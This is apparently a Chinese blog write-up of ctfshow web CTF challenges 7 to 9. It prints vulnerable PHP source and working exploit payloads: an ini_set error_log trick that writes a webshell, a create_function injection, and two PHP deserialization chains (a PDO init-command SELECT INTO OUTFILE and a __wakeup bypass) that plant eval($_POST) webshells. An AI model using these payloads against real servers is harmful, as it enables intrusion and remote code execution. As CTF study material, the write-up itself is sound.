目录

  1. 1. 前言
  2. 2. 红包挑战7
  3. 3. 红包挑战8
  4. 4. 红包挑战9
    1. 4.1. 解法一:pdo驱动选项
    2. 4.2. 解法二:绕过wakeup

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 红包挑战7-9

2023/9/28 Web ctfshow
  |     |   总文章阅读量:

前言

题目太多要复现不过来了555

官方wp:

挑战7

挑战8

挑战9

红包挑战7

利用xdebug报错写马到错误日志

源码

<?php
highlight_file(__FILE__);
error_reporting(2);


extract($_GET);
ini_set($name,$value);


system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}

审计一下源码,因为我们传入的参数1外面套了一层单引号,而且过滤了单引号不能进行闭合,所以这里查看目录的命令是写死的

得从上面的extract($_GET);ini_set($name,$value);入手,我这里尝试过利用这个函数来配置 disabled_function 以禁用filter函数,但是 disabled_function 不能用ini_set来写入

这里需要先遍历一下目录查找线索,在/usr/local/lib/php/extensions/下查看php扩展

image-20230928091830284

发现有xdebug

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用%00进行截断来触发异常

那么这里就可以考虑利用异常报错

error_log 配置:设置脚本错误将被记录到的文件,即报错信息将被写入到指定路径

利用ini_set,我们可以实现写马命令执行

payload:

?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>

image-20230928092500803

然后访问1.php即可

image-20230928092641367


红包挑战8

create_function命令注入

<?php
highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

思路可以直接看我的rce文章

总之就是要先闭合create_function然后执行命令

这里我们对$name部分进行注入

payload:

?name=){system("ls /");}/*

于是创建的匿名函数就为

function __lambda_func(){system("ls /");}/*){$code;}

红包挑战9

代码审计

<?php
class user
{
    public $id;
    public $username;
    private $password;

    public function __toString()
    {
        return $this->username;
    }
}

class cookie_helper
{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name)
    {
        return $this->verify($_COOKIE[$name]);
    }

    public function setCookie($name, $value)
    {
        $data = $value . "|" . md5($this->secret . $value);
        setcookie($name, $data);
    }

    private function verify($cookie)
    {
        $data = explode('|', $cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret . $data[0]) === $data[1] ? $data[0] : null;
    }
}


class mysql_helper
{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct()
    {
        $this->init();
    }

    public function __wakeup()
    {
        $this->init();
    }


    private function init()
    {
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****', //敏感信息打码
            'password' => '****', //敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo()
    {
        try {
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        } catch (PDOException $e) {
            die('数据库连接失败:' . $e->getMessage());
        }

        return $pdo;
    }
}

class application
{
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug = false;

    public function __construct()
    {
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("log.txt");
    }

    public function register($username, $password)
    {
        $this->loger->user_register($username, $password);
        $pdo = $this->mysql;
        $sql = "insert into user(username,password) values(?,?)";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username, $password));
        return $pdo->lastInsertId() > 0;
    }

    public function login($username, $password)
    {
        $this->loger->user_login($username, $password);
        $sql = "select id,username,password from user where username = ? and password = ?";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username, $password));
        $ret = $stmt->fetch();
        return $ret['password'] === $password;
    }
    public function getLoginName($name)
    {
        $data = $this->cookie->getCookie($name);
        if ($data === NULL && isset($_GET['token'])) {
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

    public function logout()
    {
        $this->loger->user_logout();
        setCookie("user", NULL);
    }

    private function log_last_user()
    {
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
    }
    public function __destruct()
    {
        if ($this->debug) {
            $this->log_last_user();
        }
    }
}

class userLogger
{

    public $username;
    private $password;
    private $filename;

    public function __construct()
    {
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename)
    {
        $this->filename = $filename;
    }

    public function __wakeup()
    {
        $this->filename = "log.txt";
    }
    public function user_register($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function user_login($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function user_logout()
    {
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function __destruct()
    {
        $data = "最后操作时间:" . date("Y-m-d H:i:s") . " 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename, $data, FILE_APPEND);
    }
}
class dispatcher
{

    public function sendMessage($msg)
    {
        echo "<script>alert('$msg');window.history.back();</script>";
    }
    public function redirect($route)
    {

        switch ($route) {
            case 'login':
                header("location:index.php?action=login");
                break;
            case 'register':
                header("location:index.php?action=register");
                break;
            default:
                header("location:index.php?action=main");
                break;
        }
    }
}

观察代码,以 getshell 为目的的话,就是两种思路:sql注入写shell 或 file_put_contents写shell

而反序列化的部分在session_decode($_GET['token']);,session 序列化字符串的存储方式就是键名 | serialize()的序列化字符串

解法一:pdo驱动选项

先看sql连接的部分:

application 类中 debug 参数为 true 的话会调用 log_last_user 进而调用 get_pdo

class mysql_helper
{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct()
    {
        $this->init();
    }

    public function __wakeup()
    {
        $this->init();
    }


    private function init()
    {
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****', //敏感信息打码
            'password' => '****', //敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo()
    {
        try {
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        } catch (PDOException $e) {
            die('数据库连接失败:' . $e->getMessage());
        }

        return $pdo;
    }
}

因为 __wakeup 的存在,我们无法控制 db

不过注意到这里 option 是可控的,翻一下文档里 option 参数的用法:https://www.php.net/manual/zh/class.pdo.php

在 PDO 驱动中找到更多的 option:https://www.php.net/manual/zh/class.pdo-mysql.php

其中有

image-20250131165651237

可以指定在连接 mysql 时执行的语句,所以可以直接写马

<?php

session_start();
class mysql_helper
{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=eval(\$_POST[0]);' into outfile '/var/www/html/3.php';"
    );
}
class application
{
    public $mysql;
    public $debug = true;

    public function __construct()
    {
        $this->mysql = new mysql_helper();
    }
}
$_SESSION['user'] = new application();
echo session_encode();
/index.php?action=main&token=user|O:11:"application":2:{s:5:"mysql";O:12:"mysql_helper":1:{s:6:"option";a:1:{i:1002;s:64:"select '<?=eval($_POST[0]);' into outfile '/var/www/html/3.php';";}}s:5:"debug";b:1;}

这样就写入了


解法二:绕过wakeup

想 file_put_contents 写马,观察一下 userLogger 类

class userLogger
{

    public $username;
    private $password;
    private $filename;

    public function __construct()
    {
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename)
    {
        $this->filename = $filename;
    }

    public function __wakeup()
    {
        $this->filename = "log.txt";
    }
    public function user_register($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function user_login($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function user_logout()
    {
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function __destruct()
    {
        $data = "最后操作时间:" . date("Y-m-d H:i:s") . " 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename, $data, FILE_APPEND);
    }
}

这里的 filename 因为 __wakeup 导致固定为 log.txt,而用户名和密码会直接明文拼接进写入的文件内容

思考绕过这个 __wakeup 的方法,注意到这里面有 __destruct 方法,里面同样可以写马,那么猜测可以采用 fast gc 进行绕过

本地调试一下,加入几个 echo 输出魔术方法的输出顺序

测试payload:

<?php

class userLogger
{
    public $username = "<?php phpinfo();?>";
    private $filename = "1.php";
    private $password = "pass";
}
$a = new userLogger();
echo urlencode(serialize($a));

然后在传入的时候删去最后的}%7D

image-20250131203149282

如果没删去的话

image-20250131203114999

可以看到这里影响到了第一次log::des的顺序,提前到了 app::des 前,但是没有提前到 log::wakeup

此时的效果是成功往 log.txt 写入我们的马,否则不会写入

什么意思呢,也就是说这次写文件发生在 log::des,此时经过 log::wakeup 修改了文件名为 log.txt

这样明显还不够,我们需要 log::des 的操作在 log::wakeup 之前,那么这里需要 mysql_helper 类中的die()结束所有对象的生命周期,使所有的 des 提前

于是构造payload

<?php
class userLogger
{
    public $username = "<?php eval(\$_POST[0]);?>";
    private $filename = "2.php";
    private $password = "1";
}

class mysql_helper
{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );
}

class application
{
    public $mysql;
    public $loger;
    public $debug = true;
    public function __construct()
    {
        $this->loger = new userLogger();
        $this->mysql = new mysql_helper();
    }
}
$c = new application();
echo urlencode(serialize($c));

然后使用 fast gc 触发 app::des,最终调用到 mysql_helper::get_pdo()

mysql_helper类的$db属性设置为空,使得mysql_helper::get_pdo()方法连接数据库失败,执行die()函数,结束所有对象的生命周期(主要是结束了userLogger,GC回收),导致提前执行了userLogger::__destruct()

image-20250131210152794

image-20250131210207332

这样就能控制文件名为 php 后缀了